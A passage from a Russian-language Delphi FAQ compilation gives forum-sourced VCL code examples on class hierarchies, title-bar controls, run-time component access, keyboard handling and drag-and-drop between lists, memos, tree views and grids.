TFontAdapter,
TFontCharsetProperty,
TFontDialog,
TFontNameProperty,
TFontProperty,
TForm,
TFormDesigner,
TGauge,
TGraphic,
TGraphicControl,
TGraphicField,
TGraphicsObject,
TGridDataLink,
TGroupBox,
THandleObject,
THandleStream,
THeader,
THeaderControl,
THeaderSection,
THeaderSections,
THintWindow,
THotKey,
THTMLTableAttributes,
THTMLTableCellAttributes,
THTMLTableColumn,
THTMLTableColumns,
THTMLTableElementAttributes,
THTMLTableHeaderAttributes,
THTMLTableRowAttributes,
THTMLTagAttributes,
THTTPDataLink,
TIBComponent,
TIBEventAlerter,
TIComponentInterface,
TIcon,
TIconImage,
TIconOptions,
TIEditorInterface,
TIEditReader,
TIEditView,
TIEditWriter,
TIExpert,
TIFileStream,
TIFormInterface,
TImage,
TImageList,
TIMainMenuIntf,
TIMemoryStream,
TImeNameProperty,
TIMenuItemIntf,
TIModuleCreator,
TIModuleInterface,
TIModuleNotifier,
TIndexDef,
TIndexDefs,
TIndexFiles,
TIniFile,
TInplaceEdit,
TIntegerField,
TIntegerProperty,
TInterface,
TInterfacedObject,
TIProjectCreator,
TIResourceEntry,
TIResourceFile,
TISAPIApplication,
TISAPIRequest,
TISAPIResponse,
TIStream,
TIStreamAdapter,
TIToolServices,
TIVCLStreamAdapter,
TLabel,
TList,
TListBox,
TListColumn,
TListColumns,
TListColumns,
TListItem,
TListItems,
TListSourceLink,
TListView,
TLoginDialog,
TLookupList,
TMainMenu,
TMask,
TMaskEdit,
TMediaPlayer,
TMemo,
TMemoField,
TMemoryStream,
TMenu,
TMenuItem,
TMetafile,
TMetafileCanvas,
TMetafileImage,
TMethodProperty,
TModalResultProperty,
TMPFilenameProperty,
TNavButton,
TNavButton,
TNavDataLink,
TNotebook,
TNumericField,
TObject,
TOleContainer,
TOleControl,
TOleForm,
TOleGraphic,
TOleStream,
TOpenDialog,
TOpenPictureDialog,
TOrdinalProperty,
TOutline,
TOutlineNode,
TPage,
TPageControl,
TPageProducer,
TPaintBox,
TPaintControl,
TPanel,
TParaAttributes,
TParam,
TParamList,
TParams,
TParser,
TPen,
TPersistent,
TPicture,
TPictureAdapter,
TPopupDataList,
TPopupGrid,
TPopupMenu,
TPrintDialog,
TPrinter,
TPrinterSetupDialog,
TProgressBar,
TPropertyEditor,
TPropertyPage,
TProvider,
TProviderObject,
TQuery,
TQueryTableProducer,
TRadioButton,
TRadioGroup,
TReader,
TRegIniFile,
TRegistry,
TRemoteServer,
TReplaceDialog,
TResourceStream,
TRichEdit,
TSaveDialog,
TSavePictureDialog,
TScreen,
TScrollBox,
TScroller,
TScrollingWinControl,
TServerAcceptThread,
TServerClientThread,
TServerClientWinSocket,
TServerSocket,
TServerWinSocket,
dbtables.TSession,
TSessionList,
TSetElementProperty,
TSetProperty,
TShape,
TSharedImage,
TShortCutProperty,
TSimpleEvent,
TSmallintField,
TSpeedButton,
TSpinButton,
TSpinEdit,
TSplitter,
TStaticText,
TStatusBar,
TStatusBar,
TStatusPanel,
TStatusPanels,
TStoredProc,
TStream,
TStringField,
TStringGrid,
TStringGrid,
TStringGridStrings,
TStringList,
TStringProperty,
TStrings,
TStringsAdapter,
TStringStream,
TSynchroObject,
TTabbedNotebook,
TTabControl,
TTable,
TTabList,
TTabOrderProperty,
TTabPage,
TTabSet,
TTabSheet,
TTextAttributes,
TThread,
TThreadList,
TTimeField,
TTimeProperty,
TTimer,
TTimerSpeedButton,
TToolBar,
TToolButton,
TTrackBar,
TTreeNode,
TTreeNodes,
TTreeView,
TTypedComObject,
TTypedComObjectFactory,
TUpdateSQL,
TUpDown,
TVarBytesField,
TVirtualStream,
TWebActionItem,
TWebActionItems,
TWebApplication,
TWebDispatcher,
TWebModule,
TWebRequest,
TWebResponse,
TWinCGIRequest,
TWinCGIResponse,
TWinControl,
TWinSocketStream,
TWordField,
TWriter
);

function TForm1.AddClass (NewClass: TClass): TTreeNode;
var
  ParentNode: TTreeNode;
begin
  // if the class is not there...
  Result := GetNode (NewClass);
  if Result = nil then
  begin
    // look for the parent (eventually adding it)
    ParentNode := AddClass (NewClass.ClassParent);
    // add the new class
    Result := TreeView1.Items.AddChildObject (
      ParentNode,
      NewClass.ClassName,
      Pointer (NewClass));
  end;
end;

function TForm1.GetNode (BaseClass: TClass): TTreeNode;
var
  Node1: TTreeNode;
begin
  Result := nil; // not found
  // find the node in the tree
  Node1 := TreeView1.Items.GetFirstNode;
  while Node1 <> nil do
  begin
    if Node1.Text = BaseClass.ClassName then
    begin
      Result := Node1;
      Exit;
    end;
    Node1 := Node1.GetNext;
    Forms.Application.ProcessMessages;
  end;
(* slower loop...
  for I := 0 to TreeView1.Items.Count - 1 do
  begin
    if TreeView1.Items [I].Text = BaseClass.ClassName then
    begin
      Result := TreeView1.Items [I];
      Exit;
    end;
    Application.ProcessMessages;
  end;*)
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  I: Integer;
begin
  // don't restart this loop
  Button1.Enabled := False;
  // add the root class
  TreeView1.Items.AddObject (nil, 'TObject',
    Pointer (TObject));
  // add each class to the tree
  ProgressBar1.Min := Low (ClassArray);
  ProgressBar1.Max := High (ClassArray);
  for I := Low (ClassArray) to High (ClassArray) do
  begin
    AddClass (ClassArray [I]);
    ProgressBar1.Position := I;
  end;
  Beep;
  ShowMessage ('Tree Completed');
  Button2.Enabled := True;
  Button1.Enabled := False;
end;

procedure TForm1.TreeView1Change (
  Sender: TObject; Node: TTreeNode);
var
  MyClass: TClass;
begin
  MyClass := TClass (Node.Data);
  Edit1.Text := Format ('Name: %s - Size: %d bytes',
    [MyClass.ClassName, MyClass.InstanceSize]);
  with Listbox1.Items do
  begin
    Clear;
    while MyClass.ClassParent <> nil do
    begin
      MyClass := MyClass.ClassParent;
      Add (MyClass.ClassName);
    end; // while
  end; // with
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Screen.Cursor := crHourglass;
  TreeView1.SortType := stText;
  Screen.Cursor := crDefault;
  Button2.Enabled := False;
end;

end.

Взято с http://delphiworld.narod.ru


Помещение VCL компонентов в область заголовка

Здесь есть хитрость:

Нужно разместить все необходимые элементы управления в отдельной форме, которая должна отслеживать перемещение и изменение размеров основной формы. Данная форма будет всегда находится над областью заголовка основной формы.

Нижеприведенный проект включает в себя 2 формы и выпадающий список (combobox). После запуска программы список появляется в области заголовка главной формы. Два ключевых вопроса: 1) организация перехвата сообщения WM_MOVE главной формы; и 2) возвращение фокуса в главную форму после того, как пользователь нажмет на каком-либо элементе управления, способным иметь фокус (например, TComboBox, TButton и др.)

Я использую 32-битную Delphi 2.0 под Win95, тем не менее данный код должен работать с любой версией Delphi.

Вот исходный код главной формы:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    procedure FormResize(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormHide(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure WMMove(var Msg: TWMMove); message WM_MOVE;
  end;

var
  Form1: TForm1;

implementation

uses Unit2;

{$R *.DFM}

procedure TForm1.FormResize(Sender: TObject);
begin
  with Form2 do
  begin
    {Заменим мои магические числа реальной информацией SystemMetrics}
    Width := Form1.Width - 120;
    Top := Form1.Top + GetSystemMetrics(SM_CYFRAME);
    Left := ((Form1.Left + Form1.Width) - Width) - 60;
  end;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.FormHide(Sender: TObject);
begin
  Form2.Hide;
end;

procedure TForm1.WMMove(var Msg: TWMMove);
begin
  inherited;
  if (Visible) then
    FormResize(Self);
end;

end.

Вот исходный код для псевдо-заголовка. Данная форма может содержать любые элементы управления VCL, которые вы хотите установить в области заголовка главной формы. По существу, это - независимый диалог со следующими свойствами:

Caption='' {NULL строка}
Height={высота области заголовка}
Width={высота всех компонентов на форме}
BorderIcons=[] {пусто}
BorderStyle=bsNone
FormStyle=fsStayOnTop

И, наконец, исходный код для Form2:

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm2 = class(TForm)
    ComboBox1: TComboBox;
    procedure FormCreate(Sender: TObject);
    procedure ComboBox1Change(Sender: TObject);
    procedure FormResize(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

uses Unit1;

{$R *.DFM}

procedure TForm2.FormCreate(Sender: TObject);
begin
  Height := ComboBox1.Height - 1;
  Width := ComboBox1.Width - 1;
end;

procedure TForm2.ComboBox1Change(Sender: TObject);
begin
  Form1.SetFocus;
end;

procedure TForm2.FormResize(Sender: TObject);
begin
  ComboBox1.Width := Width;
end;

end.

Файл проекта (.DPR) довольно простой:

program Project1;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.CreateForm(TForm2, Form2);
  Application.Run;
end.

Это все!

Хотя некоторые авторы книг утверждают:

"Вы не можете установить компоненты Delphi в заголовок окна, точнее, не существует никакого способа установить их там."

Зато существует иллюзия...

Взято с http://delphiworld.narod.ru


Как различаются между собой Paint-события: Invalidate, Update и Refresh?

Invalidate весь объект перерисовывается заново; обычно перерисовывается только часть бывшая перед этим закрытой

Update незамедлительная перерисовка

Refresh Invalidate + Update


Можно ли как-то уменьшить мерцание при перерисовке компонента?

Если добавить флаг csOpaque (непрозрачный) к свойству ControlStyle компонента
- то фон компонента перерисовываться не будет.

constructor TMyControl.Create;
begin
  inherited;
  ControlStyle := ControlStyle + [csOpaque];
end;


Delphi 7 and FastNet Components

Where are the FastNet Components in Delphi 7?

The Fastnet components are no longer bundled with Delphi. It appears Netmasters does have a version compatible with Delphi 7 which can be purchased at: http://www.netmastersllc.com/


Как правильно работать с прозрачными окнами?

Как правильно работать с прозрачными окнами (стиль WS_EX_TRANSPARENT)?

Стиль окна-формы указывается в CreateParams. Только вот когда перемещаешь его, фон остается со старым куском экрана. Чтобы этого не происходило, то когда pисуешь своё окно, запоминай, что было под ним,а пpи пеpемещении восстанавливай.
HDC hDC = GetDC(GetDesktopWindow()) тебе поможет..
Andrei Bogomolov
http://cardy.hypermart.net
ICQ UIN:7329451
admin@cardy.hypermart.net
e-pager: 7329451@pager.mirabilis.com
(2:5013/11.3)

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Как установить компонент от другой версии, если имеется только .DCU файл?

Никак. DCU файлы разных версий Дельфи несовместимы. Нужны либо исходники компонентов, либо надо просить у разработчика компиляцию для текущей версии Дельфи.


Как убрать публичное свойство компонента

Из TForm property не убиpал, но из TWinControl было дело. А дело было так:

interface

type
  TMyComp = class(TWinControl)
    ...
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('MyPage', [TMyComp]);
  RegisterPropertyEditor(TypeInfo(string), TMyComp, 'Hint', nil);
end;

{ и т.д. }

Тепеpь property 'Hint' в Object Inspector не видно. Рад, если чем-то помог. Если будут глюки, умоляю сообщить. Такой подход у меня сплошь и pядом.

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Неявное обращение к компонентам, манипуляции в run-time

Cодержание раздела:

Перебор всех компонентов на форме
Как найти компонент по имени?
Групповые опперации с контролами
Как создать контрол в Run-Time?
Обращение через свойство Controls
Работа с массивом компонентов New!

См. также другие разделы:
Объектное ориентирование

См. также статьи в других разделах:
Как очистить все окошки редактирования на форме?
Как удалить строку в StringGrid в run-time?
Как создать поле Lookup во время выполнения приложения?
Как получить число и список всех компонентов, расположенных на TNoteBook?
Как в run-time Action добавить в ActionList?
Создание и удаление полей во время выполнения программы
Динамическое создание полей
Сохранить TImagelist в файл со всем содержимым New!


Перебор всех компонентов на форме

Например, надо найти все TCheckBox на форме и установить из все в положение checked:

var i: integer;
begin
  for i := 0 to ComponentCount - 1 do
    if Components[i] is TCheckBox then
      (Components[i] as TCheckBox).Checked := true;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как найти компонент по имени?

Обратится к компоненту по имени можно например так, если стоит 10 CheckBox - от CheckBox1 до CheckBox10 то

For i:=1 to 10 do
  (FindComponent(Format('CheckBox%d',[i])) as TCheckBox).checked:=true;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Групповые опперации с контролами

Если например эти 10 CheckBox все время используются для групповых операций, чтобы не перебирать компоненты можно сделать так.

1) Берем ставим на форму 10 CheckBox
2) объявляем массив

var arr:array[1..10] of TCheckBox

3) Далее присваиваем указатели массиву:

For i:=1 to 10 do
  arr[i]:=FindComponent(Format('CheckBox%d',[i])) as TCheckBox;

Все, теперь к каждому CheckBox можно обратится как к элементу массива:

arr[5].checked:=true;

Так как здесь массив статический никаких действий по освобождению памяти делать не надо, по уничтожении компонентов деструктором формы элементы массива будут показывать вникуда. В любом случае этот массив занимает в памяти 40 байт - не большая плата за скорость и удобство.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как создать контрол в Run-Time?

var Butt:TButton;
begin
Butt:=TButton.Create(Self);
Butt.Parent:=self;
Butt.Visible:=true;
end;

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Обращение через свойство Controls

procedure TForm1.UpDown1Click(Sender: TObject; Button: TUDBtnType);
var
  I: Integer;
  ChildControl: TControl;
begin
for I:= 0 to GroupBox1.ControlCount -1 do
begin
ChildControl := GroupBox1.Controls[I];
ChildControl.Top := ChildControl.Top + 15
end;
end;

Проверить тип контрола надо оператором is:

if edit1 is TEdit then....

Затем доступ ко всем свойствам путем приведения класса:

(edit1 as TEdit).text:='';

Автор ответа: Kiber_rat
Взято с Vingrad.ru http://forum.vingrad.ru


Как отловить смену фокуса для всех контролов?

procedure TForm1.ActiveControlChange(Sender: TObject);
begin
  Caption := TScreen(Sender).ActiveForm.ActiveControl.Name;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Screen.OnActiveControlChange := ActiveControlChange;
end;

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с массивом компонентов

Автор: RoboSol.

часто возникают вопросы о работе с массивом компонентов. вот пример того как вывести список имен всех компонентов в приложении.

procedure TForm1.Button1Click(Sender : TObject);
var i : integer;
begin
 ListBox1.Items.Clear;
 for i:=0 to ComponentCount-1 do ListBox1.Items.Add(Components[i].Name);
end;

для поиска конкретного компонента по его имени используйте метод формы - FindComponent.
для поиска вишестоящего компонента воспользуйтесь функцией - FindGlobalComponent.

Примечание: в Delphi некоторые компоненты сами по себе являются контейнерами компонентов (GroupBox, Panel, PageControl, Form). В этом случаэ контейнер является родителем этих компонентов (Parent), а форма их владельцем (Owner). Для перехода по дочерних компонентах можно воспользоваться свойством Controls родителя компонентов. А для перехода независимо от родителя - используйте свойство Controls формы.

Смена владельца:
свойство Owner - только для чтения, поэтому изменить его нельзя. Владелец устанавливается в ходе создания. Нестоит попросту изменять владельца или имя компонента. Но если есть такая необходимость можно воспользоватся методами: InsertComponent и RemoveComponent самого владельца. Эти методы нельзя применять в обработчике события формы.
Решение задачи:

procedure ChangeOwner( Component, NewOwner : TComponent);
begin
 Component.Owner.RemoveComponent(Component);
 NewOwner.InsertComponent(Component);
end;

пример использования:

procedure TForm1.ButtonChangeClick(Sender : TObject);
begin
 if Assigned(Button1) then begin
   Button1.Parent:=Form2;
   ChangeOwner(Button1. Form2);
                           end;
end;

Взято из http://forum.sources.ru


Реакция компонентов на клавиатуру

Cодержание раздела:

Как заблокировать реакцию на клавиатуру компонента?
Как работать с ssShift и TShiftState?
Имитация Tab

См. также другие разделы:
Клавиатура

См. также статьи в других разделах:
Как сделать, чтобы форма закрывалась при нажатии Esc?
Как заставить TEdit не пикать при нажатии недопустимых клавиш?
Как перехватить клавишу табуляции (Tab) в TEdit?
Как перехватить Ctrl-V в компоненте TMemo?
Как менять шрифт в RichEdit горячими клавишами?
Как перехватывать горячие клавиши в StringGrid?
Как использовать клавишу-акселератор в TTabsheets?
Кнопка или пункт меню выполняет другую функцию при нажатой кнопке shift
Как узнать о нажатии non-menu клавиши в момент когда меню показано?
Поведение TAB в компоненте RadioGroup
Как можно отменить реакию ComboBox на F4?
Использование Enter как Tab в TDBGrid New!


Как заблокировать реакцию на клавиатуру компонента?

В обработчике события onKeyDown попробуй поставить:

Key:=0;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как работать с ssShift и TShiftState?

ssShift - это константа применяемая в типе TShiftState (являущемся типом Set) а не логическая, надо примерно так:

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if (key=$97) and (ssShift in Shift) then
begin
  {do something}
end;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Имитация Tab

SelectNext(screen.ActiveControl, True, True);

Разместите приведенный код в обработчике одного из собитий. SelectNext - защищенный метод TWinControl со следующим прототипом:

procedure SelectNext(CurControl: TWinControl;
GoForward, CheckTabStop: Boolean);

Так как форма также является потомком TWinControl, то она имеет доступ к защищенным методам.

Взято с http://delphiworld.narod.ru


Перетаскивание объектов, Drag and Drop, Docking

Cодержание раздела:

Как перетаскивать файлы?
Примеры использования Drag and Drop для различных визуальных компонентов
Как пpинимать яpлыки пpи пеpетягивании их на контpол
Перестроить вкладки TPageControl с помощью Drag and Drop
Как перетаскивать (Drag and Drop) выделенный текст между компонентами Memo?
Как перетаскивать компоненты в Run-Time?
Внутренний интерфейс Drag and Drop New!
Функции и процедуры для работы с drag-and-drop операциями New!
Как послать данные другому приложению используя auto-drag-n-drop? New!
Как сделать Drag-n-Drop из чужого приложения? New!

См. также статьи в других разделах:
Таскаем форму за её поверхность
Как таскать форму за метку?
Как перетащить целую колонку из Stringgrid в Listbox?
Как принимать перетаскиваемые файлы из проводника?
Перемещение контролов мышкой во время выполнения приложения?
Перетаскивание файлов в приложение
Использоватние Drag and Drop для заполнения полей в TWebBrowser?
Пример Drag and Drop между двумя DBGrid New!
Перемещение из DbGrid New!


Как перетаскивать файлы?

как принимать "перетаскиваемые" файлы.

При получении программой файлов, окну посылается сообщение WM_DROPFILES.
При помощи функции DragQueryFile можно определить количество и имена файлов.
При помощи функции DragQueryPoint можно определить координату мыши в тот момент,
когда пользователь "отпустил" файлы.

Эта программа открывает все "перетащенные" в нее файлы.
Причем, если пользователь перетащил файлы в PageControl1, то в PageControl1 эти файлы и откроются.

...
  public
    procedure WMDropFiles(var Msg: TWMDropFiles);
      message WM_DROPFILES;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses ShellAPI, stdctrls;

procedure TForm1.WMDropFiles(var Msg: TWMDropFiles);
var
  HF: THandle;
  s: array [0..1023] of char;
  i, FileCount: integer;
  p: TPoint;
  ts: TTabSheet;
  memo: TMemo;
begin
  HF := Msg.Drop;
  FileCount := DragQueryFile(HF, $FFFFFFFF, nil, 0);
  for i := 0 to FileCount - 1 do begin
    DragQueryFile(HF, i, s, sizeof(s));
    ts := TTabSheet.Create(nil);
    DragQueryPoint(HF, p);
    if PtInRect(PageControl1.BoundsRect, p)
      then ts.PageControl := PageControl1
      else ts.PageControl := PageControl2;
    ts.Caption := ExtractFileName(s);
    memo := TMemo.Create(nil);
    memo.Parent := ts;
    memo.Align := alClient;
    memo.Lines.LoadFromFile(s);
  end;
  DragFinish(HF);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  PageControl1.Align := alLeft;
  PageControl2.Align := alClient;
  DragAcceptFiles(Form1.Handle, true);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  DragAcceptFiles(Form1.Handle, false);
end;

Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru

{ На эту форму можно бросить файл (например из проводника)
  и он будет открыт }
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs,StdCtrls,
  ShellAPI {обязательно!};

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    FileNameLabel: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  protected
   {Это и есть самая главная процедура}
    procedure WMDropFiles(var Msg: TMessage); message wm_DropFiles;
end;

var
  Form1: TForm1;
implementation
{$R *.DFM}

procedure TForm1.WMDropFiles(var Msg: TMessage);
var
   Filename: array[0 .. 256] of Char;
   Count   : integer;
begin
  { Получаем количество файлов (просто пример) }
   nCount := DragQueryFile( msg.WParam, $FFFFFFFF,
     acFileName, cnMaxFileNameLen);
  { Получаем имя первого файла }
  DragQueryFile( THandle(Msg.WParam),
     0, { это номер файла }
     Filename,SizeOf(Filename) ) ;
  { Открываем его }
  with FileNameLabel do begin
   Caption := LowerCase(StrPas(FileName));
   Memo1.Lines.LoadfromFile(Caption);
  end;
  { Отдаем сообщение о завершении процесса }
  DragFinish(THandle(Msg.WParam));
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 { Говорим Windows, что на нас можно бросать файлы }
 DragAcceptFiles(Handle, True);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 { Закрываем за собой дверь золотым ключиком}
 DragAcceptFiles(Handle, False);
end;
end.

Источник: http://dmitry9.nm.ru/info/


Примеры использования Drag and Drop для различных визуальных компонентов

Перетаскивание информации с помощью мыши стало стандартом для программ, работающих в Windows. Часто это бывает удобно и позволяет добиться более быстрой работы. В данной статье я постарался показать максимальное количество примеров использования данной технологии при разработке приложений в среде Delphi. Конечно, результат может быть достигнут различными путями, продемонстрированные приемы не являются единственными и, возможно, не всегда самые оптимальные, но вполне работоспособны, и указывают направление поиска. Надеюсь, что они побудят начинающих программистов к более широкому использованию Drag'n'Drop в своих программах, тем более что пользователи, особенно неопытные, быстро привыкают к перетаскивание и часто его применяют.

Проще всего делать Drag из тех компонентов, для которых однозначно ясно, что именно перетаскивать. Для этого устанавливаем у источника DragMode = dmAutomatic, а у приемника пишем обработчики событий OnDragOver - разрешение на прием, и OnDragDrop - действия, производимые при окончании перетаскивания.

procedure TForm1.StringGrid2DragOver(Sender, Source: TObject; X,
  Y: Integer; State: TDragState; var Accept: Boolean);
begin
  Accept := Source = Edit1;
  // разрешено перетаскивание только из Edit1,
  // при работе программы меняется курсор
end;

procedure TForm1.StringGrid2DragDrop(Sender, Source: TObject; X,
  Y: Integer);
var
  ACol, ARow: Integer;
begin
  StringGrid2.MouseToCell( X, Y, ACol, ARow);
// находим, над какой ячейкой произвели Drop
  StringGrid2.Cells[ Acol, Arow] := Edit1.Text;
//  записываем в нее содержимое Edit1
end;

Теперь рассмотрим копирование в упорядоченный список ListBox1 из другого списка. В OnDragOver проверяем, выбран ли хоть один элемент в источнике:

Accept := (Source = ListBox2) and (ListBox2.ItemIndex >= 0);

В OnDragDrop ищем отмеченные в источнике строки (установлен множественный выбор) и добавляем только те, которых еще нет в приемнике:

for i := 0 to ListBox2.Items.Count - 1 do
  if (ListBox2.Selected[i]) and (ListBox1.Items.IndexOf(ListBox2.Items[i])<0)
    then
      ListBox1.Items.Add(ListBox2.Items[i]);

Для ListBox2 реализуем перенос строк из ListBox1 и перестановку элементов в желаемом порядке. В OnDragOver разрешаем Drag из любого ListBox:

Accept := (Source is TListBox) and ((Source as TListBox).ItemIndex >= 0);

А OnDragDrop будет выглядеть так:

var
  s: string;
begin
  if Source = ListBox1 then
  begin
    ListBox2.Items.Add(ListBox1.Items[ListBox1.ItemIndex]);
    ListBox1.Items.Delete(ListBox1.ItemIndex);
  //удаляем перенесенный элемент
  end
  else          //внутренняя перестановка
  begin
    s := ListBox2.Items[ListBox2.ItemIndex];
    ListBox2.Items.Delete(ListBox2.ItemIndex);
    ListBox2.Items.Insert(ListBox2.ItemAtPos(Point(X, Y), False), s);
  //находим, в какую позицию переносить и вставляем
  end;
end;

Научимся переносить текст в Memo, вставляя его в нужное место. Поскольку я выбрал в качестве источника любой из ListBox, подключим в Инспекторе Объектов для OnDragOver уже написанный ранее обработчик ListBox2DragOver, а в OnDragDrop напишем

if not CheckBox1.Checked then  // при включении добавляется в конец текста
begin
 Memo1.SelStart := LoWord(Memo1.Perform(EM_CHARFROMPOS, 0, MakeLParam(X,Y)));
    // устанавливаем позицию вставки согласно координатам мыши
 Memo1.SelText := TListBox(Source).Items[TListBox(Source).ItemIndex];
end
  else
    memo1.lines.add(TListBox(Source).Items[TListBox(Source).ItemIndex]);

Замечу, что для RichEdit EM_CHARFROMPOS работает несколько иначе, что продемонстрировано в следующем примере. Перенос из Memo реализован с помощью правой кнопки мыши, для того, чтобы не изменять стандартное поведение Memo, и поскольку нажатие левой кнопки снимает выделение. Для Memo1 установлено DragMode = dmManual, а перетаскивание инициируется в OnMouseDown

if (Button = mbRight) and (Memo1.SelLength > 0) then
    Memo1.BeginDrag(True);

Обработчик RichEdit1DragOver очевиден, а в RichEdit1DragDrop пишем

var
  p: tpoint;
begin
  if not CheckBox1.Checked then
  begin
    p := point(x, y);
    RichEdit1.SelStart := RichEdit1.Perform(EM_CHARFROMPOS, 0, Integer(@P));
    RichEdit1.SelText := Memo1.SelText;
  end
  else
    RichEdit1.Lines.Add(Memo1.SelText);
end;

Рассмотрим теперь перетаскивание в ListView1 (ViewStyle = vsReport). В OnDragOver разрешим прием из ListBox2 и из себя же:

Accept := ((Source = ListBox2) and (ListBox2.ItemIndex >= 0)) or
  (Source = Sender);

А вот OnDragDrop теперь будет посложнее

var
  Item, CurItem: TListItem;
begin
  if Source = ListBox2 then
  begin
    Item := ListView1.DropTarget;
    if Item <> nil then
    //  случай перетаскивания на Caption
      if Item.SubItems.Count = 0 then
        Item.SubItems.Add(ListBox2.Items[ListBox2.ItemIndex])
    //  добавляем SubItem, если их еще нет
      else
        Item.SubItems[0]:=ListBox2.Items[ListBox2.ItemIndex]
    //  иначе заменяем имеющийся SubItem
    else
    begin
   // при перетаскивании на пустое место создаем новый элемент
      Item := ListView1.Items.Add;
      Item.Caption := ListBox2.Items[ListBox2.ItemIndex];
    end;
  end

  else // случай внутренней перестановки
  begin
    CurItem := ListView1.Selected;
// запомним выбранный элемент
    Item := ListView1.GetItemAt(x, y);
// другой метод определения элемента на который делаем Drop
    if Item <> nil then
      Item := ListView1.Items.Insert(Item.Index)
// вставляем новый элемент перед найденным
    else
      Item := ListView1.Items.Add;
// или добавляем новый элемент в конец
    Item.Assign(CurItem);
// копируем исходный в новый
    CurItem.Free;
// уничтожаем исходный
  end;
end;

Для ListView2 установим ViewStyle = vsSmallIcon и покажем, как вручную расставлять значки. В OnDragOver зададим условие

Accept := (Sender = Source) and
    ([htOnLabel,htOnItem, htOnIcon] * ListView2.GetHitTestInfoAt(x, y) = []);
// пересечение множеств должно быть пустым - запрещаем накладывать элементы

а код в OnDragDrop очень простой:

ListView2.Selected.SetPosition(Point(X,Y));

Перетаскивание в TreeView - довольно любопытная тема, здесь порой приходится разрабатывать алгоритмы обхода ветвей для достижения желаемого поведения. Для TreeView1 разрешим перестановку своих узлов в другое положение. В OnDragOver проверим, не происходит ли перетаскивание узла на свой же дочерний во избежание бесконечной рекурсии:

var
  Node, SelNode: TTreeNode;
begin
  Node := TreeView1.GetNodeAt(x, y);
// находим узел-приемник
  Accept := (Sender = Source) and (Node <> nil);
  if not Accept then
    Exit;
  SelNode := Treeview1.Selected;
  while (Node.Parent <> nil) and (Node <> SelNode) do
  begin
    Node := Node.Parent;
    if Node = SelNode then
      Accept := False;
  end;

Код OnDragDrop выглядит так:

var
  Node, SelNode: TTreeNode;
begin
  Node := TreeView1.GetNodeAt(X, Y);
  if Node = nil then
    Exit;
  SelNode := TreeView1.Selected;
  SelNode.MoveTo(Node, naAddChild);
// все уже встроено в TreeView
end;

Теперь разрешим перенос в TreeView2 из TreeView1

Accept := (Source = TreeView1) and (TreeView2.GetNodeAt(x, y) <> nil);

И в OnDragDrop копируем выбранную в TreeView1 ветвь во всеми подветвями, для чего придется сделать рекурсивный обход:

var
  Node: TTreeNode;

  procedure CopyNode(FromNode, ToNode: TTreeNode);
  var
    TempNode: TTreeNode;
    i: integer;
  begin
    TempNode := TreeView2.Items.AddChild(ToNode, '');
    TempNode.Assign(FromNode);
    for i := 0 to FromNode.Count - 1 do
      CopyNode(FromNode.Item[i], TempNode);
  end;

begin
  Node := TreeView2.GetNodeAt(X, Y);
  if Node = nil then
    Exit;
  CopyNode(TreeView1.Selected, Node);
end;

Рассмотрим теперь перенос ячеек в StringGrid1. Поскольку, как и в случае с Memo, простое нажатие левой кнопки занято под другие действия, установим DragMode = dmManual и будем запускать Drag при нажатии левой кнопки, удерживая клавиши Alt или Ctrl. Запишем в OnMouseDown:

var
  Acol, ARow: Integer;
begin
  with StringGrid1 do
    if (ssAlt in Shift) or (ssCtrl in Shift) then
    begin
      MouseToCell(X, Y, Acol, Arow);
      if (Acol >= FixedCols) and (Arow >= FixedRows) then
// не будем перетаскивать из фиксированных ячеек
      begin
        if ssAlt in Shift then
          Tag := 1
        else
          if ssCtrl in Shift then
            Tag := 2;
// запомним что нажато - Alt или Ctrl -  в Tag StringGrid1
        BeginDrag(True)
      end
      else
        Tag := 0;
    end;
end;

Код OnDragOver учитывает также возможность перетаскивания из StringGrid2 (описание ниже)

var
  Acol, ARow: Integer;
begin
  with StringGrid1 do
  begin
    MouseToCell(X, Y, Acol, Arow);
    Accept := (Acol >= FixedCols) and (Arow >= FixedRows)
